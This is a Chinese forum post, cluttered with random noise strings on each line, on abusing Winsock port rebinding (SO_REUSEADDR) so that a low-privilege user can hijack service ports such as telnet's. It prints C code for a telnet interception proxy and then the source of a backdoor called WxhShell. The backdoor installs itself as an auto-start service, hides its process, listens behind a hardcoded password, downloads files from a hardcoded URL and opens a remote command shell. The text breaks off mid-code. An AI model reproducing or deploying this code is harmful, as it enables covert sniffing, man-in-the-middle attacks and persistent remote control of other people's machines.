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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: (p'/p  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); sVNo\  
I-j(e)P(o_  
  saddr.sin_family = AF_INET; %,h!: Ec^c  
%Gnd"SGs  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 1"N/ZKF-x  
F12S(5Z0%  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); lb=2*dFJ1  
9Vh_XBgP  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 <;.}WQC  
@faF`8LwA  
  这意味着什么?意味着可以进行如下的攻击: *(>F'>F1"  
q oKQEG2  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 1j_aH#Fz:  
_ +u sn.  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 0f EZD$  
L2do 2_  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 t;bZc s  
j TGS6{E  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  n/,rn>k7:  
ci#Zvhtk r  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。  'lSnyW{  
89?3,k  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 hA$c.jJr.Z  
pO@k@JZ  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 `Nxo0Q  
@8T Vr2uy  
  #include 4'7 v!I9  
  #include IX > j8z[  
  #include C"V?yDy2~  
  #include    w%!k?t,*]  
  DWORD WINAPI ClientThread(LPVOID lpParam);   +"*l2E]5  
  int main() T/X?ZK(T  
  { ^H y)<P  
  WORD wVersionRequested; ; +#za?w  
  DWORD ret; 3:z4M9f  
  WSADATA wsaData; I{Y {  
  BOOL val; "m<eHz]D  
  SOCKADDR_IN saddr; Xv<;[vq}F  
  SOCKADDR_IN scaddr; PAO[Og,-  
  int err; X8NO;w@z#  
  SOCKET s; Oa3=+_C~$1  
  SOCKET sc; xOX*=Wv  
  int caddsize; 5r2ctde)Y  
  HANDLE mt; Z n"TG/:  
  DWORD tid;   jQw`*Y/,  
  wVersionRequested = MAKEWORD( 2, 2 ); } (O D<  
  err = WSAStartup( wVersionRequested, &wsaData ); l%Fse&4\  
  if ( err != 0 ) { ft. }$8vIT  
  printf("error!WSAStartup failed!\n"); ?Sd~u1w8K  
  return -1; zN8&M<mTl  
  } n+A'XBHk  
  saddr.sin_family = AF_INET; >(1_Dn\  
   (qq$y #$  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Xk$l-Zfse  
6vp8LNSW  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Z1MJ!{@6  
  saddr.sin_port = htons(23); SBYMDKZ  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) S &lTKYP  
  { !xx> lX5  
  printf("error!socket failed!\n"); AcfkY m~  
  return -1; ~_^o?NE,  
  } O'yjB$j  
  val = TRUE; c<t3y7  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ;JD3tM<  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) u^4"96aXJ  
  { `__?7"p )\  
  printf("error!setsockopt failed!\n"); p'w"V6k('~  
  return -1; GJl@ag5h]!  
  } 3I{ta/(  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; %?9r(&  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 35]G_\  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Ns(L1'9=  
(gJ )]/n  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) h/+I-],RF  
  { 5}l#zj  
  ret=GetLastError(); {J6sM$aj  
  printf("error!bind failed!\n"); h9OL%n 7m'  
  return -1; pGcx jm  
  } ^*UfCoj9Z  
  listen(s,2); 1&dsQ, VDl  
  while(1) +]~w ?^h  
  { 6xzR*~ 7  
  caddsize = sizeof(scaddr); +K?N:w  
  //接受连接请求 tP^mq>  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); "6o}qeB l  
  if(sc!=INVALID_SOCKET) I3rnCd(  
  { j?KB8oY`TP  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); /5'<w(  
  if(mt==NULL) E<G@LT  
  { 5\kZgXWIh  
  printf("Thread Creat Failed!\n"); :iOHc-x  
  break; "drh+oo.  
  } 9xS`@ "`  
  } zhm!sMlO  
  CloseHandle(mt); !DUg"o3G>  
  } O> ^~SO  
  closesocket(s); T _9ZI|Jx  
  WSACleanup(); f;XsShxr  
  return 0; ;gu>;_  
  }   [W|7r n,q  
  DWORD WINAPI ClientThread(LPVOID lpParam) sluZ-,zE  
  { WUK.>eM0  
  SOCKET ss = (SOCKET)lpParam; }br<2?y,  
  SOCKET sc; 3% 4Mq6Q`  
  unsigned char buf[4096]; e]B<\i\T  
  SOCKADDR_IN saddr; _wJ#jJz2  
  long num; = Vr[V@  
  DWORD val; gsq[ 9  
  DWORD ret; HNUR6H&Fta  
  //如果是隐藏端口应用的话,可以在此处加一些判断 VGUDUM.8  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   @DC2ci >  
  saddr.sin_family = AF_INET; E9*?G4P{l  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Iybpk?,M+  
  saddr.sin_port = htons(23); 1~u\]Zi=D  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -V_S4|>   
  { W9m[>-Ew  
  printf("error!socket failed!\n"); w[vIPlSdS  
  return -1; dv}R]f'  
  } $ 5-2 cL  
  val = 100; $>s@T(  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +/lj~5:y  
  { 8jGoU 9  
  ret = GetLastError(); )w?$~q  
  return -1; 4qcIoO  
  } 9 @*>$6  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) R/xCS.yl}  
  { sW3D ( n  
  ret = GetLastError(); [Et\~'2w8=  
  return -1;  %!h+  
  } (gC^5&11  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) MW@b ;=(  
  { A8/4:>Is  
  printf("error!socket connect failed!\n"); F(fr,m3  
  closesocket(sc); Tka="eyIj3  
  closesocket(ss); Ijro;rsEKM  
  return -1; zV Li  
  } kV9NFo22  
  while(1) < io8 b|A  
  { x&b-Na3Xi  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 OWfj<#}t+  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 DOU?e9I2  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 TBfl9Q  
  num = recv(ss,buf,4096,0); buyz>IC P  
  if(num>0) ^S2} 0N f  
  send(sc,buf,num,0); CnA)>4E*'  
  else if(num==0) 3? CpylCO  
  break; mU>* NP(L  
  num = recv(sc,buf,4096,0); ~mo `  
  if(num>0) p5t#d)  
  send(ss,buf,num,0); w~?eX/;  
  else if(num==0) 6x8|v7cMH  
  break; 8gm[Q[  
  } [M>_(u6  
  closesocket(ss); hd%F7D5  
  closesocket(sc); XYTcG;_z  
  return 0 ; L KR,CPz  
  } p}X87Zq  
nE%qm -  
%=eD)p7l-  
========================================================== ~Nh7C b _  
Md{f,,E'^@  
下边附上一个代码,,WXhSHELL zz*[JIe  
eA^|B zU  
========================================================== 7Wn]l!  
ka [NYW{.  
#include "stdafx.h" G<1mj!{Vp  
e 3oIoj4o  
#include <stdio.h> W)O'( D  
#include <string.h> <N&f >7  
#include <windows.h> 2@rc&Tx  
#include <winsock2.h> m q9&To!  
#include <winsvc.h> `q*ABsj  
#include <urlmon.h> [}3Y1t{G  
Z`M Q+  
#pragma comment (lib, "Ws2_32.lib") :gv#_[k  
#pragma comment (lib, "urlmon.lib") v 0H#\p  
a@1gMZc*  
#define MAX_USER   100 // 最大客户端连接数 3|3lUU\I  
#define BUF_SOCK   200 // sock buffer e0 EJ[bG  
#define KEY_BUFF   255 // 输入 buffer +N:%`9}2V  
Mq$=zsj  
#define REBOOT     0   // 重启 ;Yj&7k1  
#define SHUTDOWN   1   // 关机 Pw{+7b$  
,_O[; L  
#define DEF_PORT   5000 // 监听端口 w+H=Xh4t  
[%:NR  
#define REG_LEN     16   // 注册表键长度 <'33!8 G  
#define SVC_LEN     80   // NT服务名长度 -XB>&dNl)T  
H\vO0 <X  
// 从dll定义API K2Zy6lGOZ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); } q(0uzaG  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _Qas+8NW  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); { q<l]jn9  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ,;y^|X  
oY:>pxSz<@  
// wxhshell配置信息 d-aF-  
struct WSCFG { {]]I4a  
  int ws_port;         // 监听端口 +0DIN4Y(4  
  char ws_passstr[REG_LEN]; // 口令 ~Ji A  
  int ws_autoins;       // 安装标记, 1=yes 0=no Fy^\Uw  
  char ws_regname[REG_LEN]; // 注册表键名 uv!/DX#  
  char ws_svcname[REG_LEN]; // 服务名 0:EiCKb)ol  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 K9=_}lS@'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 M#m7g4*L!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 % e(,PL  
int ws_downexe;       // 下载执行标记, 1=yes 0=no {ar }.U  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ptcU_*Gd  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 xB#E&}Ho  
cAS5&T<  
}; HS7!O  
8:bNFgJD  
// default Wxhshell configuration +FR"Gt$g  
struct WSCFG wscfg={DEF_PORT, K km7L-  
    "xuhuanlingzhe", Khl7Ez  
    1, XA68H!I  
    "Wxhshell", YX(%jcj*  
    "Wxhshell", ~S9nLb:O{  
            "WxhShell Service", x4K5  
    "Wrsky Windows CmdShell Service", FKP^f\!M  
    "Please Input Your Password: ", j&9~OXYv  
  1, N INiX(  
  "http://www.wrsky.com/wxhshell.exe", F)G#\r  
  "Wxhshell.exe" M}>q>  
    }; JQqDUd  
frt?*|:  
// 消息定义模块 {T9g\F*  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; kMA>)\  
char *msg_ws_prompt="\n\r? for help\n\r#>"; U Lq%,ca  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; RfD$@q9  
char *msg_ws_ext="\n\rExit."; Y~6pJNR  
char *msg_ws_end="\n\rQuit."; gE&f}M-  
char *msg_ws_boot="\n\rReboot..."; E:ytdaiT  
char *msg_ws_poff="\n\rShutdown..."; 7blZAA?-  
char *msg_ws_down="\n\rSave to "; ='FEC-f95  
x?kZD~|{)  
char *msg_ws_err="\n\rErr!"; uH#NJoR O  
char *msg_ws_ok="\n\rOK!"; ZI1RB fR  
3^\y>  
char ExeFile[MAX_PATH]; pP#?|  
int nUser = 0; g6farLBF  
HANDLE handles[MAX_USER];  O>3'ylBQ  
int OsIsNt; q% "nk  
m:t $&  
SERVICE_STATUS       serviceStatus; 1Sy#*  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,rKN/{M!  
lc#H%Qlg  
// 函数声明 DuWP)#kg  
int Install(void); 5^k#fl2  
int Uninstall(void); `e bB+gI  
int DownloadFile(char *sURL, SOCKET wsh); DEBgb  
int Boot(int flag); vlD]!]V:h  
void HideProc(void); I6\3wU~).  
int GetOsVer(void); A28w/ =e7  
int Wxhshell(SOCKET wsl); wcOAyo5(n  
void TalkWithClient(void *cs); I'gnw~  
int CmdShell(SOCKET sock); ]1K &U5p  
int StartFromService(void); |lv4X }H  
int StartWxhshell(LPSTR lpCmdLine); m H?hzxa+  
sk5\"jna  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); rk~/^(!  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 5*CwQJC<  
0\m zGfd  
// 数据结构和表定义 Q -+jG7vT  
SERVICE_TABLE_ENTRY DispatchTable[] = ,iyIF~1~#>  
{ ]:njP3r  
{wscfg.ws_svcname, NTServiceMain}, 0MOAd!N  
{NULL, NULL} ; ^$RG  
}; FR <wp  
sOJ~PRA  
// 自我安装 |LQmdgVr$  
int Install(void) 9 7g\nq<  
{ 'fB`e]_  
  char svExeFile[MAX_PATH]; dcA0k  
  HKEY key; IoX(Pa  
  strcpy(svExeFile,ExeFile); L/ZZe5I  
#Ky0` n  
// 如果是win9x系统,修改注册表设为自启动 |oM6(px  
if(!OsIsNt) { {r"s.|n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f9$98SI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); VS` S@+p  
  RegCloseKey(key); dU\fC{1Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T|m+ULp~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~$@I <=L  
  RegCloseKey(key); e'ZgF~  
  return 0; Wj3H  y4  
    } A;g[G>J  
  } pSAXp# g  
} >8VJ!Kg4  
else { Ua:EI!`  
-&&mkK B!  
// 如果是NT以上系统,安装为系统服务 P)H%dJ ^l  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); TQ BL!w  
if (schSCManager!=0) Pa.!:N-  
{ ^'h~#7s  
  SC_HANDLE schService = CreateService >3ODqRu  
  ( >hXUq9;:  
  schSCManager, 7}*5Mir p  
  wscfg.ws_svcname, .B)v " Sw#  
  wscfg.ws_svcdisp, ":Q70*xSm  
  SERVICE_ALL_ACCESS, us]ah~U6A  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , xj}N;FWo  
  SERVICE_AUTO_START, aCMcu\rd  
  SERVICE_ERROR_NORMAL, $lv  g.u  
  svExeFile, [AU1JO`\"  
  NULL, M:x8]TA  
  NULL, jJf|Ok:G{  
  NULL, DJbj@ 2W[  
  NULL, \h yTcFb  
  NULL koUH>J:  
  ); t^YDCcvoQ  
  if (schService!=0) JvG t=v  
  { Vf:t!'WD?2  
  CloseServiceHandle(schService); 6`yq4!&v  
  CloseServiceHandle(schSCManager); !=-l760  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); bNC1[GG[  
  strcat(svExeFile,wscfg.ws_svcname); 9Hu%Z/[!p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0+L5k!1D  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); C>;}CH|X  
  RegCloseKey(key); d<whb2l  
  return 0; V +hV&|=  
    } J@$>d  
  } uIR_p \)  
  CloseServiceHandle(schSCManager); X@cV']#V  
} )TWf/L cp  
} c>^_4QQ  
c{E-4PYbah  
return 1; [fb-G5x  
} |[qI2-el?  
aw,8'N)  
// 自我卸载 3B_S>0H"$  
int Uninstall(void) LWW0lG!_F  
{ Wbc % G8  
  HKEY key; mX#T<_=d  
zR/ATm]9  
if(!OsIsNt) { <sPB|5Ak  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z?b. PC/  
  RegDeleteValue(key,wscfg.ws_regname); ~E)I+$,  
  RegCloseKey(key); a{HvrWs?Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { JRG7<s $  
  RegDeleteValue(key,wscfg.ws_regname); _[<I&^%  
  RegCloseKey(key); }3+(A`9h f  
  return 0; I[R?j?$}>  
  } E{FNsa  
} y_'8m9Qy)  
} WgY3g1C  
else { n"Ev25%  
?6[>HX;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); s2tEyR+gW  
if (schSCManager!=0) ]\GGC]:\@  
{ ]s u\[?l  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^awl-CG  
  if (schService!=0) f5O*Njl  
  { 0!^{V:DtQ  
  if(DeleteService(schService)!=0) { kAAz|dhL-  
  CloseServiceHandle(schService); gU 8'7H2  
  CloseServiceHandle(schSCManager); &r_:n t  
  return 0; kt@+UK."  
  } SY)o<MD  
  CloseServiceHandle(schService); ;mMn-+3<  
  }  m.2  
  CloseServiceHandle(schSCManager); 3Y=S^*ztd  
} Pukq{/27  
} c,+oH<bZZs  
`T mIrc  
return 1; ZGS=;jM  
} \zKVgywR  
s*S@} l  
// 从指定url下载文件 \Q#F&q0  
int DownloadFile(char *sURL, SOCKET wsh) \^_F>M  
{ NSxDCTw  
  HRESULT hr; 8`im4.~#%  
char seps[]= "/"; 7igrRU#1%  
char *token; {yJ{DU?%Y  
char *file; o`& idn|,  
char myURL[MAX_PATH]; j6Vuj/+}  
char myFILE[MAX_PATH]; q-uYfXZ{j  
y(q1~73s  
strcpy(myURL,sURL); ljNd!RaB  
  token=strtok(myURL,seps); al^ yCoB  
  while(token!=NULL) 94n,13  
  { h5Z%|J>;0  
    file=token; (g   
  token=strtok(NULL,seps); lte~26=e  
  } B^KC~W  
<yIJ$nBx  
GetCurrentDirectory(MAX_PATH,myFILE); WJ mj|$D  
strcat(myFILE, "\\"); nc`[fy|}  
strcat(myFILE, file); `OBDx ^6F  
  send(wsh,myFILE,strlen(myFILE),0); {gJOc,U4b  
send(wsh,"...",3,0); ny#7iz/  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `B^?Za,xN  
  if(hr==S_OK) VD1*br^,  
return 0; KC  
else ^^v\ T  
return 1; "F0,S~tZZ  
hLBX,r)u  
} }|x]8zL8G  
(0Y6tcV]R  
// 系统电源模块 ] Li(E:  
int Boot(int flag) N<?RN;M  
{ 5 1 L:%Af  
  HANDLE hToken; br0gB3 r  
  TOKEN_PRIVILEGES tkp; {lqnn n3  
\b' <q  
  if(OsIsNt) { bZ0r/f,n$  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); c.NAUe_3  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $rf5\_G,96  
    tkp.PrivilegeCount = 1; ==c\* o  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ; zs4>>^>  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); u dH7Q&"  
if(flag==REBOOT) { Vj`9j. 5  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +]B^*99  
  return 0; YKj7~yK?  
} 4,uH 4[7  
else { \+ K ^G  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) g{dyDN$5|w  
  return 0; <~f/T]E,  
} %vMi kibI  
  } GT* \gZ  
  else { #K  ]k  
if(flag==REBOOT) { [<bfwTFsl  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3vmZB2QG  
  return 0; MTa.Ubs  
} _ 57m] ;&  
else { Y]ZOvA5W  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) tR*J M$T  
  return 0; cl^tX%  
} c6Wy1d^  
} N=-hXgX^  
UiW( /L  
return 1; Kh3*\xT  
} yl)}1DPP  
~,dj)x 3M  
// win9x进程隐藏模块 HZ ]'?&0  
void HideProc(void) LkNC8V  
{ $Nnz |y  
:Bda]]Y=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (5VP*67  
  if ( hKernel != NULL ) ;clF\K>  
  { ]yA| m3^2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (l9U7^S"{K  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ]"aC wr  
    FreeLibrary(hKernel); G{YLyl/9  
  } YI&7s_% -  
389T6sP]  
return; &yWl8O  
} X+Xjf(  
pX|\J>u)  
// 获取操作系统版本 6i,d|  
int GetOsVer(void) 0l{').!_  
{ 7w YSP&$  
  OSVERSIONINFO winfo; EcFYP"{U  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); J*qepq`_  
  GetVersionEx(&winfo); HIeWgw^"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +#n5w8T)M  
  return 1; c.,eIiL  
  else sl>4O]N  
  return 0; mI"`.  
} pn>zuH e  
pT:CvJ  
// 客户端句柄模块 &A]*"lt|w  
int Wxhshell(SOCKET wsl) J3g>#N]='(  
{ U*1rA/"n  
  SOCKET wsh; r B)m{)  
  struct sockaddr_in client; 'GS1"rkW<5  
  DWORD myID; A\k@9w\Ll;  
% ;09J  
  while(nUser<MAX_USER) 8kX3.X`  
{ %TvunV7NQS  
  int nSize=sizeof(client); @D Qg1|m  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); hekAics6S  
  if(wsh==INVALID_SOCKET) return 1; *ofK|r  
K-(,,wS  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "pQM$3n(  
if(handles[nUser]==0) I Yj\t?,0  
  closesocket(wsh); FK;\Nce&  
else x]J{EA{+  
  nUser++; tihb38gE  
  } :/K 'P`JaL  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ds$FO}KD{  
}|&M@Up  
  return 0; Y?R;Y:u3Z  
} p;U[cGHC  
ycIT=AFYqd  
// 关闭 socket @| qnD  
void CloseIt(SOCKET wsh) `N;u#z  
{ L*11hyyk  
closesocket(wsh); {>pB  
nUser--; O=G2bdY{,  
ExitThread(0); v5RS<?o  
} _LxV)  
Yk6fr~b  
// 客户端请求句柄 _T<ney}Y<  
void TalkWithClient(void *cs) >5i1M^g(  
{ m%'9zL c  
HkGzyDt  
  SOCKET wsh=(SOCKET)cs; i=#r JK=  
  char pwd[SVC_LEN]; av&dGsFP  
  char cmd[KEY_BUFF]; l92#F*  
char chr[1]; &W)k s  
int i,j; fZ 17  
k;#$Oxa>t=  
  while (nUser < MAX_USER) { 6WzE'0Nyr  
rX{QgyY&  
if(wscfg.ws_passstr) { tlA4oVII  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N|WnUlf]:  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mAX]m1s  
  //ZeroMemory(pwd,KEY_BUFF); _bMD|  
      i=0; ^-f5;B`\i  
  while(i<SVC_LEN) { uZW ?0W  
U]@t\T3W  
  // 设置超时 4Q,HhqV'  
  fd_set FdRead; -~p@o1k0  
  struct timeval TimeOut; (TDLT^  
  FD_ZERO(&FdRead); N V^ktln  
  FD_SET(wsh,&FdRead); (IAl$IP63s  
  TimeOut.tv_sec=8; k'xnl"q  
  TimeOut.tv_usec=0; <xOpm8  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8L|rj4z<#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "/O0j/lm  
acRPKTs H  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); jgs kK  
  pwd=chr[0]; ]j}zN2[A  
  if(chr[0]==0xd || chr[0]==0xa) { Wu2#r\  
  pwd=0; BB1'B-O  
  break; K/, B  
  } J3}^\k=p"  
  i++; +pnT6kU|  
    } N?p9h{DG  
|rq~.cA  
  // 如果是非法用户,关闭 socket Sr,ZM1J  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); M+ ^]j  
} ? Ls]k  
yaa+j8s]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =9LC "eI&|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \V7Hi\)  
3`5?Zgp  
while(1) { 3 B KW  
q}M^i7IE  
  ZeroMemory(cmd,KEY_BUFF); C' o4Su#  
3Nsb@0  
      // 自动支持客户端 telnet标准   Ni(D[?mZ  
  j=0; ad&Mk^p  
  while(j<KEY_BUFF) { Ni"fV]'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W7O%.xP  
  cmd[j]=chr[0]; .Xg%><{~  
  if(chr[0]==0xa || chr[0]==0xd) { OE}L})"  
  cmd[j]=0; s<sqO,!  
  break; +0^N#0)  
  } 1Yz1/gFj  
  j++; _U.8\J2  
    } +`mJh \*  
F'C]OMBE  
  // 下载文件 +G7A.d`V}  
  if(strstr(cmd,"http://")) { j &)|nK;}  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); mucY+k1>g  
  if(DownloadFile(cmd,wsh)) ]W5s!T_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y GO ;wIS  
  else YzhZ%:8  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b! PN6<SI  
  } WLDt5R  
  else { h}g _;k5R  
D4c}z#}*0  
    switch(cmd[0]) { "@$o'rfT  
  <$Q&n{  
  // 帮助 Rdwr?:y(]  
  case '?': { +S<2d.&~  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); OJbY\U  
    break; deda=%w0  
  } tCI8 \~  
  // 安装 WN?!(r<qA_  
  case 'i': { shYcfLJ  
    if(Install()) N{q5E,}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '"GdO;}&  
    else =uKK{\+|Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RRV@nDf   
    break; rfXM*h  
    } HqcXP2  
  // 卸载 KynQ <I/  
  case 'r': { RgRyo  
    if(Uninstall()) e@L+z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n`vqCO7@'  
    else e&<#8;2X  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yJ/m21f  
    break; YV. *8'*  
    } WxWgY}`  
  // 显示 wxhshell 所在路径 A}t.`FLP,j  
  case 'p': { U1 1rj,7  
    char svExeFile[MAX_PATH]; fR_)e:  
    strcpy(svExeFile,"\n\r"); 0 m";=:(w  
      strcat(svExeFile,ExeFile); j<"0ym)A  
        send(wsh,svExeFile,strlen(svExeFile),0); FGy7KVR  
    break; AWh{dM  
    } m&Ms[X  
  // 重启 sOz jViv  
  case 'b': { )n5]+VTZ5  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); N95"dNZE  
    if(Boot(REBOOT)) U87VaUr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *h@nAB\3  
    else { u vc0"g1h  
    closesocket(wsh); C/<fR:`c  
    ExitThread(0); v srce  
    } ;s9!ra:3  
    break; X'7 T"5!  
    } *q|.H9 K(  
  // 关机 %nFZA)B[  
  case 'd': { gS4K](KH |  
